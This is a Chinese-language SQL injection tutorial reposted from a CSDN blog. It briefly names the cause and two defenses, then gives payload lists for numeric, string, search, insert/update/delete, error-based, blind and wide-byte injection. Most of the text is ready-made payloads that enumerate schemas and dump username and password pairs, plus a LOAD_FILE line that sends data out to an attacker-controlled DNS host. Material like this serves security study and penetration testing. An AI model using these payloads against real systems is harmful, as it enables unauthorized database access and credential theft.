自学内容网 自学内容网

SQL注入详解

SQL注入漏洞执行的主要原因就是在数据交互中,前端数据出入后台处理时,没有做严格的判断,导致传入的参数拼接到SQL语句中后,被当作SQL语句一部分执行。

防范策略:

  • 对传入sql语句中的变量进行过滤,不允许危险字符传入。
  • 使用参数化,预编译sql语句。

1. 数字型

后台拼接sql语句类似于 select name,password from users where id = $id,注入语句如下:下述id为前端传递的参数

# 通过order by确认查询语句字段数,当值大于查询字段数会报错
id=1 order by 3
# 暴库语句,假设查询字段数为2, 联合查询
id=-1 union select 1, group_concat(schema_name) from information_schema.schemata
# 当前库
id=-1 union select 1,database()

# 爆表
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
# 爆列
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
# 拖库 没有返回语句限制时
id=-1 union select 1,concat_ws('-',username,password) from users
# 拖库 有语句返回限制
id=-1 union select 1,group_concat(value) from (select concat_ws("-",username, password)  value from users) t

2. 字符型

后台拼接sql语句类似于 select name,password from users where id = "$id",注入语句如下:id为前端传递参数

# 确定查询列
id=1' order by 3 #
# 暴库
id=1' union select 1, group_concat(schema_name) from information_schema.schemata #
# 当前库名称
id=-1' union select 1,database() #
# 报表
id=-1'  union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

#  爆列
id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() #
# 拖库 没有返回语句限制时
id=1' union select 1,concat_ws('-',username,password) from users #
# 拖库 有语句返回限制
id=1' union select 1,group_concat(value) from (select concat_ws("-",username, password)  value from users) t #

3. 搜索型

sql语句类似select username from user where username like '%{$username}%';绕过方式的payload: x%' union select 1,2,3 #.具体要拖什么数据参照上述语句。

# 直接拖库
x%' union select 1,2,group_concat(value) from (select concat_ws("-",username, password)  value from users) t #

4. xxx型注入

sql语句类似于select username,id,password from user where username = ('$name'),绕过方式 : x') union select 1,2,3 #

# 拖库
x')  union select 1,group_concat(value) from (select concat_ws("-",username, password)  value from users) t #

5. insert/update注入

Insert/update注入指的是前端提供的参数,后台会通过insert/update这个操作插入/更新到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在提交请求时通过拼接 SQL 注入。基于页面报错。

sql语句类似这样的$query="insert into member(username,pw,sex,phonenum,email,address) values('$username','$password','$sex','$phonenum','$email','$address')"; 在最后一个位置的构建payload。

# 注入获取数据库语句,上面那个sql语句,设置address值为下面这个
1' and updatexml(1,concat('~',database()),1)) #
# updatexml函数介绍
UPDATEXML(xml_target, xpath_expr, new_xml_value)
- xml_target: 目标xml数据
- xml_expr: XPATH表达式,用于指定更新节点
- new_xml_value:新的值,用于更新指定的xml节点

这个函数的功能是更新xml数据中符合XPATH表达式的内容。利用点如果传入xpath表达式或XML数据,updatexml会抛出错误信息。适用于错误会先的情况下,未屏蔽错误信息时。

另一个可利用的函数, 处理xml的函数,用于从xml数据中提取值,通过错误回显利用
EXTRACTVALUE(xml_target, xpath_expr)
xml_target: 目标xml数据
xpath_expr: XPath表达式
原sql语句
SELECT * FROM users WHERE id = '1';
# 获取数据库名称,参数
' AND UPDATEXML(NULL, CONCAT('~', DATABASE(), '~'), NULL) -- 
# 获取库名
1' AND EXTRACTVALUE(1, CONCAT('~', DATABASE(), '~')) -- 
# 枚举表名,sql语句
' AND UPDATEXML(NULL, CONCAT('~', (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), '~'), NULL) -- 
# 枚举类名
' AND UPDATEXML(NULL, CONCAT('~', (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='target_table'), '~'), NULL) -- 
# 获取表中数据
' AND UPDATEXML(NULL, CONCAT('~', (SELECT GROUP_CONCAT(target_column) FROM target_table), '~'), NULL) -- 

6. update注入

前提条件: 页面上可以看到sql报错内容。

# sql语句形式
update member set sex='$sex',phonenum='$phonenum',address='$add',email='$email' where username='xxx'  
# 注入payload在最后一个位置
1' and updatexml(1,concat('~',database()),1) #
1' and extractvalue(1,concat('~',database())) #

7. delete注入

# 原sql语句形式
delete from z`table_name where id  = xxx
# 注入
-1 and updatexml(1,concat('~',database()),1) #
-1 and extractvalue(1,concat('~',database())) #

8. 盲注:

利用场景:

  • 页面上没有显示位,并且没有输出SQL语句执行错误信息。
  • 只能通过页面返回正常和不正常进行判断。

盲注常用函数

  • left(字符串,截取长度): 从左边截取指定长度的字符串
  • length(字符串):
  • ascii(字符串): 将指定字符串进行编码
  • substr(字符串,start,长度):截取指定长度字符串
  • mid(字符串,start,长度)
  • sleep(n): 挂起n秒
  • if(参数1,参数2,参数3): 1为条件,true执行2,否则执行3
  • LOAD_FILE(filename): 文件绝对路径,函数会尝试读取此路径下的文件。Mysql支持。
# 使用示例
LOAD_FILE('\\\\<敏感数据>.xxx.dnslog.cn\\a')
- \\\\: 双鞋干表示网络路径的起始(UNC路径)
- <敏感数据>.xxx.dns.log.cn: 攻击者的DNS服务器域名。目标服务器会尝试发起域名解析。

8.1 布尔盲注

  • 页面有显示位
  • 没有报错语句
  • 正确的sql语句和错误的sql语句返回值不同

通过构造payload观察页面情况是否符合预期,判断是否存在注入点以及利用注入点查询数据。

#原sql语句为
select id,username from user where username = '$username'

8.2 时间盲注

  • 页面没有显示位
  • 没有报错语句
  • 正确sql和错误sql返回值相同
#原sql语句为
select id,username from user where username = '$username'
# payload
xxx' or sleep(10) #

9. 宽字节注入

宽字节注入利用了数据库处理多字节字符(GBK、UTF-16)的特性:

  • 字符编码原理
    • 在多字节字符编码中,一个字符可以由多个字节表示。 条件:数据库支持多字节编码, 输入被部分转义
    • GBK编码中,字符可能由一个或两个字节表示。
    • 如果某些字符以 % 开头,数据库会尝试将后续字符解析为完整的多字节字符。
  • 宽字节注入的关键
    • 攻击者可以通过恶意构造的输入,利用编码不当处理逃逸原本应该被转移的字符。
    • 例如当'被转移成\',但由于宽字节字符的特性,转移\被融入到多字节字符中,导致注入有效。

mysql在使用GBK编码的时候,会认为两个字符是一个汉字【前一个ascii码要大于128,才到汉字的范围】。当前端传递参数中带有’''会被转移成\',可以通过%df进行宽字节处理,转移之后%df/’会被认为成一个汉字从而变成運', 让单引号绕过转义。


原文地址:https://blog.csdn.net/qq_45776114/article/details/143956602

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!